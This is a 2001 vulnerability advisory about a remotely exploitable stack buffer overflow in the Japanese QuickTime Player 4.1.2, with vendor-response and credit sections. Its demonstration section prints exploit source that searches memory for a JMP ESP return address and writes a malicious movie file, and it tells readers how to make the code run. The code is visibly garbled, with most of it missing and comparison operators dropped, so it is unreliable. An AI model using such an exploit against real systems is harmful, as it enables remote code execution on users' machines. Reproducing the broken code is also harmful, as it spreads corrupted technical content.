|
Reported January 31, 2001, by
Shadow Penguin Security.
VERSIONS AFFECTED
- Apple Quicktime Player 4.1.2 (Japanese)
DESCRIPTION
A
remotely exploitable buffer overflow has been discovered in Apple's
Quicktime Player 4.1.2 Japanese versions.
An attacker can alter the program's flow of execution by copying
excessive amounts of data to the stack.
DEMONSTRATION
The
following code was provided by UNYUN; (In order for the code to function
remove the ; in front of each line.)
---------------------------------------------------------------------
;/*============================================================================================================================NULL)\{
;printf("%s is not found.\n",ESP_TGT);
;exit(1);
;\}
;
;VirtualQuery((void *)kp,&meminfo,sizeof(MEMORY_BASIC_INFORMATION));
;pretadr=0;
;for (i=0;i<meminfo.RegionSize;i++)\{
;p=kp+i;
;if ( ( p &0xff)0
;|| ((p>>16)&0xff)0) continue;
;if ( *((unsigned char *)p)JMPESP_2)
;pretadr=p;
;\}
;if ((fp=fopen(argv\[1\],"wb"))2)
;fprintf(fp,FILE_IMAGE,MOV_FILE,buf,WIDTH,HEIGHT,TARGET);
;else
;fprintf(fp,FILE_IMAGE,argv\[2\],buf,WIDTH,HEIGHT,TARGET);
;fclose(fp);
;printf("Done.\n");
;\}
;
;-----
;UNYUN
;% The Shadow Penguin Security \[ http://shadowpenguin.backsection.net \]
;[email protected] (SPS-Official)
;[email protected] (Personal)
;% eEye Digital Security Team \[ http://www.eEye.com \]
;[email protected]
;
VENDOR RESPONSE
It is unknown whether Shadow Penguin Security contacted
the vendor. For a current workaround, a user can disable ActiveX or the
QuickTime plugin.
CREDIT
Discovered by Shadow
Penguin Security.
|
